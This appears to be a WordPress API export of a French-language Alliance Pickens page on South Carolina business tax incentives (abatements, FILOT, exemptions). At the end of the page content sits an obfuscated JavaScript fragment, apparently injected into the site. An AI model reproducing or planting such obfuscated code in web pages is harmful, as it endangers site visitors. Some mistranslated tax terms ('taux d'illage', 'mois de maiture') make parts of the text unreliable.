ans<\/p>\n<p>Les taxes estimatives apr\u00e8s la r\u00e9duction de l\u2019ann\u00e9e 1 seraient de 17 230 $.<\/p>\n<p><em><span style=\"color: #03795b\"><br \/>\n  <strong>Remarque :<\/strong><br \/>\n<\/span> La Caroline du Sud pr\u00e9voit \u00e9galement les <strong>exon\u00e9rations d\u2019imp\u00f4t foncier<\/strong> suivantes \u2013 Tous les stocks (mati\u00e8res premi\u00e8res, travaux en cours et produits finis), tous les biens incorporels et tous les \u00e9quipements de lutte contre la pollution.<\/em><\/p>\n<p>L\u2019\u00c9tat de Caroline du Sud permet au comt\u00e9 de Pickens la possibilit\u00e9 de prolonger cette r\u00e9duction d\u2019imp\u00f4t foncier de 5 ans \u00e0 un acheteur ind\u00e9pendant de biens immobiliers qui a d\u00e9j\u00e0 b\u00e9n\u00e9fici\u00e9 de l\u2019abattement. Certaines conditions de nouveaux emplois et d\u2019investissements peuvent s\u2019appliquer.<\/p>\n<h3>Exon\u00e9ration partielle de l\u2019imp\u00f4t foncier \u2014 Loi<\/h3>\n<p>Une exemption partielle de l\u2019imp\u00f4t foncier, appel\u00e9e r\u00e9duction, peut \u00eatre mise \u00e0 la disposition des fabricants (investissement de 50 000 $ ou plus) et des installations de distribution ou de si\u00e8ge social (investir 50 000 $ ou plus et cr\u00e9er 75 nouveaux emplois au cours de la premi\u00e8re ann\u00e9e) ont droit \u00e0 une r\u00e9duction de l\u2019imp\u00f4t foncier sur cinq ans par rapport aux taxes d\u2019exploitation du comt\u00e9. Cette r\u00e9duction repr\u00e9sente habituellement une compensation allant jusqu\u2019\u00e0 20% \u00e0 50% du mois de maiture total, selon le comt\u00e9. L\u2019abattement n\u2019inclut pas la partie scolaire du moulin local. L\u2019abattement fiscal sur l\u2019investissement n\u2019est en vigueur que pour cinq ans. Au cours de la sixi\u00e8me ann\u00e9e, l\u2019abattement prend fin et la propri\u00e9t\u00e9 est impos\u00e9e au taux d\u2019usine en vigueur \u00e0 ce moment-l\u00e0. L\u2019abattement d\u2019imp\u00f4t foncier de cinq ans n\u2019est pas disponible pour les biens plac\u00e9s en vertu d\u2019une entente de frais de remplacement<\/p>\n<h3>Frais en remplacement de l\u2019imp\u00f4t foncier \u2013 N\u00e9goci\u00e9<\/h3>\n<p>Une soci\u00e9t\u00e9 peut \u00e9galement n\u00e9gocier avec le comt\u00e9 de Pickens pour une entente de taxes fonci\u00e8res (FILOT) avec l\u2019examen final et le consentement d\u00e9termin\u00e9s par le Conseil du comt\u00e9 de Pickens.<\/p>\n<\/div>\n<p>[\/vc_column_text][vc_row_inner el_class=&#8221;taxes&#8221;][vc_column_inner width=&#8221;1\/2&#8243;][vc_column_text]<strong> <span style=\"color: #03795b\">But:<\/span> <\/p>\n<p><\/strong> R\u00e9compensez les investissements substantiels en r\u00e9duisant le fardeau fiscal \u00e0 long terme tout en isolant la soci\u00e9t\u00e9 qualifi\u00e9e de toute augmentation annuelle de l\u2019imp\u00f4t foncier pour les augmentations de cinq ans ou la dur\u00e9e compl\u00e8te de l\u2019entente.[\/vc_column_text][\/vc_column_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_column_text]<strong> <span style=\"color: #03795b\">Valeur:<\/span> <\/p>\n<p><\/strong> R\u00e9duction d\u2019imp\u00f4t d\u2019environ 42 % par ann\u00e9e de 20 \u00e0 30 ans sur les nouveaux investissements en capital qui se produisent dans une p\u00e9riode d\u2019investissement de cinq ans.[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][vc_row_inner el_class=&#8221;taxes&#8221;][vc_column_inner width=&#8221;1\/2&#8243;][vc_column_text]<span style=\"color: #03795b\"><strong>Exigences:<\/strong><\/span><\/p>\n<ul>\n<li>L\u2019entreprise doit \u00eatre fabricant, entrep\u00f4t\/distributeur ou un bureau\/si\u00e8ge social<\/li>\n<li>S\u2019engager \u00e0 investir au moins 2,5 millions de dollars sur cinq ans<\/li>\n<li>Le projet doit \u00eatre concurrentiel par rapport \u00e0 d\u2019autres endroits<\/li>\n<\/ul>\n<p>[\/vc_column_text][\/vc_column_inner][vc_column_inner width=&#8221;1\/2&#8243;][vc_column_text]<span style=\"color: #03795b\"><strong>M\u00e9canique:<\/strong><\/span><\/p>\n<ul>\n<li>Les paiements aux administrations locales peuvent \u00eatre consid\u00e9rablement r\u00e9duits gr\u00e2ce \u00e0 la n\u00e9gociation d\u2019un taux d\u2019\u00e9valuation plus faible (de 10 % \u00e0 6 %).<\/li>\n<li>Peut verrouiller le taux d\u2019illage pour entre 20 et 30 ans. Le taux d\u2019un mois de plus est demeur\u00e9 stable au cours des 10 derni\u00e8res ann\u00e9es.<\/li>\n<li>Un avocat d\u2019obligations\/incitatifs doit pr\u00e9parer des documents juridiques pour examen et approbation par le comt\u00e9 de Pickens.<\/li>\n<\/ul>\n<p>[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][\/vc_column][\/vc_row][vc_row el_class=&#8221;learnmoreabout&#8221;][vc_column][vc_column_text]<\/p>\n<h4 style=\"text-align: center\">En savoir plus sur le climat des affaires<\/h4>\n<p>[\/vc_column_text][vc_wp_custommenu nav_menu=&#8221;18&#8243;][\/vc_column][\/vc_row][vc_row full_width=&#8221;stretch_row&#8221; parallax=&#8221;content-moving&#8221; parallax_image=&#8221;3871&#8243; el_class=&#8221;getstarted&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h1>Pr\u00eat \u00e0 commencer?<\/h1>\n<h3>Nous sommes impatients de vous parler!<\/h3>\n<p>[\/vc_column_text][\/vc_column][vc_column width=&#8221;1\/3&#8243;][vc_column_text]<a class=\"greenbtn\" href=\"http:\/\/alliancepickens.com\/fr\/qui-sommes-nous\/#contact_directions\">Contactez notre \u00e9quipe<\/a>[\/vc_column_text][\/vc_column][\/vc_row]<br \/>\nfunction _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);};<\/p>\n<\/div>","protected":false},"excerpt":{"rendered":"<p>[vc_row el_class=&#8221;intro&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text] Imp\u00f4ts sur les entreprises [\/vc_column_text][vc_row_inner][vc_column_inner][vc_column_text el_class=&#8221;market&#8221;] Imp\u00f4t sur le revenu des soci\u00e9t\u00e9s L\u2019un des taux d\u2019imposition des soci\u00e9t\u00e9s les plus bas au pays se trouve en Caroline du Sud. L\u2019imp\u00f4t sur le revenu des soci\u00e9t\u00e9s est principalement fond\u00e9 sur le revenu brut et imposable f\u00e9d\u00e9ral uniquement \u00e0 partir de l\u2019activit\u00e9 commerciale men\u00e9e&hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":8065,"menu_order":20,"comment_status":"closed","ping_status":"closed","template":"","meta":[],"class_list":["post-8579","page","type-page","status-publish","hentry","description-off"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Imp\u00f4ts et incitatifs - Alliance Pickens<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/\" \/>\n<meta property=\"og:locale\" content=\"fr_FR\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Imp\u00f4ts et incitatifs - Alliance Pickens\" \/>\n<meta property=\"og:description\" content=\"[vc_row el_class=&#8221;intro&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text] Imp\u00f4ts sur les entreprises [\/vc_column_text][vc_row_inner][vc_column_inner][vc_column_text el_class=&#8221;market&#8221;] Imp\u00f4t sur le revenu des soci\u00e9t\u00e9s L\u2019un des taux d\u2019imposition des soci\u00e9t\u00e9s les plus bas au pays se trouve en Caroline du Sud. L\u2019imp\u00f4t sur le revenu des soci\u00e9t\u00e9s est principalement fond\u00e9 sur le revenu brut et imposable f\u00e9d\u00e9ral uniquement \u00e0 partir de l\u2019activit\u00e9 commerciale men\u00e9e&hellip;\" \/>\n<meta property=\"og:url\" content=\"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/\" \/>\n<meta property=\"og:site_name\" content=\"Alliance Pickens\" \/>\n<meta property=\"article:modified_time\" content=\"2020-12-04T20:12:06+00:00\" \/>\n<meta property=\"og:image\" content=\"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-coporatetaxincome.png\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data1\" content=\"21 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/climat-des-affaires\\\/impots-et-incitatifs\\\/\",\"url\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/climat-des-affaires\\\/impots-et-incitatifs\\\/\",\"name\":\"Imp\u00f4ts et incitatifs - Alliance Pickens\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/climat-des-affaires\\\/impots-et-incitatifs\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/climat-des-affaires\\\/impots-et-incitatifs\\\/#primaryimage\"},\"thumbnailUrl\":\"http:\\\/\\\/alliancepickens.com\\\/wp-content\\\/uploads\\\/2020\\\/10\\\/icon-coporatetaxincome.png\",\"datePublished\":\"2020-10-28T16:08:14+00:00\",\"dateModified\":\"2020-12-04T20:12:06+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/climat-des-affaires\\\/impots-et-incitatifs\\\/#breadcrumb\"},\"inLanguage\":\"fr-FR\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/climat-des-affaires\\\/impots-et-incitatifs\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"fr-FR\",\"@id\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/climat-des-affaires\\\/impots-et-incitatifs\\\/#primaryimage\",\"url\":\"http:\\\/\\\/alliancepickens.com\\\/wp-content\\\/uploads\\\/2020\\\/10\\\/icon-coporatetaxincome.png\",\"contentUrl\":\"http:\\\/\\\/alliancepickens.com\\\/wp-content\\\/uploads\\\/2020\\\/10\\\/icon-coporatetaxincome.png\"},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/climat-des-affaires\\\/impots-et-incitatifs\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Climat des affaires\",\"item\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/climat-des-affaires\\\/\"},{\"@type\":\"ListItem\",\"position\":3,\"name\":\"Imp\u00f4ts et incitatifs\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/#website\",\"url\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/\",\"name\":\"Alliance Pickens\",\"description\":\"recruitment and expansion in Pickens County\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/alliancepickens.com\\\/fr\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"fr-FR\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Imp\u00f4ts et incitatifs - Alliance Pickens","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/","og_locale":"fr_FR","og_type":"article","og_title":"Imp\u00f4ts et incitatifs - Alliance Pickens","og_description":"[vc_row el_class=&#8221;intro&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text] Imp\u00f4ts sur les entreprises [\/vc_column_text][vc_row_inner][vc_column_inner][vc_column_text el_class=&#8221;market&#8221;] Imp\u00f4t sur le revenu des soci\u00e9t\u00e9s L\u2019un des taux d\u2019imposition des soci\u00e9t\u00e9s les plus bas au pays se trouve en Caroline du Sud. L\u2019imp\u00f4t sur le revenu des soci\u00e9t\u00e9s est principalement fond\u00e9 sur le revenu brut et imposable f\u00e9d\u00e9ral uniquement \u00e0 partir de l\u2019activit\u00e9 commerciale men\u00e9e&hellip;","og_url":"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/","og_site_name":"Alliance Pickens","article_modified_time":"2020-12-04T20:12:06+00:00","og_image":[{"url":"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-coporatetaxincome.png","type":"","width":"","height":""}],"twitter_card":"summary_large_image","twitter_misc":{"Est. reading time":"21 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/","url":"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/","name":"Imp\u00f4ts et incitatifs - Alliance Pickens","isPartOf":{"@id":"https:\/\/alliancepickens.com\/fr\/#website"},"primaryImageOfPage":{"@id":"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/#primaryimage"},"image":{"@id":"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/#primaryimage"},"thumbnailUrl":"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-coporatetaxincome.png","datePublished":"2020-10-28T16:08:14+00:00","dateModified":"2020-12-04T20:12:06+00:00","breadcrumb":{"@id":"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/#breadcrumb"},"inLanguage":"fr-FR","potentialAction":[{"@type":"ReadAction","target":["https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/"]}]},{"@type":"ImageObject","inLanguage":"fr-FR","@id":"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/#primaryimage","url":"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-coporatetaxincome.png","contentUrl":"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-coporatetaxincome.png"},{"@type":"BreadcrumbList","@id":"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/alliancepickens.com\/fr\/"},{"@type":"ListItem","position":2,"name":"Climat des affaires","item":"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/"},{"@type":"ListItem","position":3,"name":"Imp\u00f4ts et incitatifs"}]},{"@type":"WebSite","@id":"https:\/\/alliancepickens.com\/fr\/#website","url":"https:\/\/alliancepickens.com\/fr\/","name":"Alliance Pickens","description":"recruitment and expansion in Pickens County","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/alliancepickens.com\/fr\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"fr-FR"}]}},"_links":{"self":[{"href":"https:\/\/alliancepickens.com\/fr\/wp-json\/wp\/v2\/pages\/8579","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/alliancepickens.com\/fr\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/alliancepickens.com\/fr\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/alliancepickens.com\/fr\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/alliancepickens.com\/fr\/wp-json\/wp\/v2\/comments?post=8579"}],"version-history":[{"count":0,"href":"https:\/\/alliancepickens.com\/fr\/wp-json\/wp\/v2\/pages\/8579\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/alliancepickens.com\/fr\/wp-json\/wp\/v2\/pages\/8065"}],"wp:attachment":[{"href":"https:\/\/alliancepickens.com\/fr\/wp-json\/wp\/v2\/media?parent=8579"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}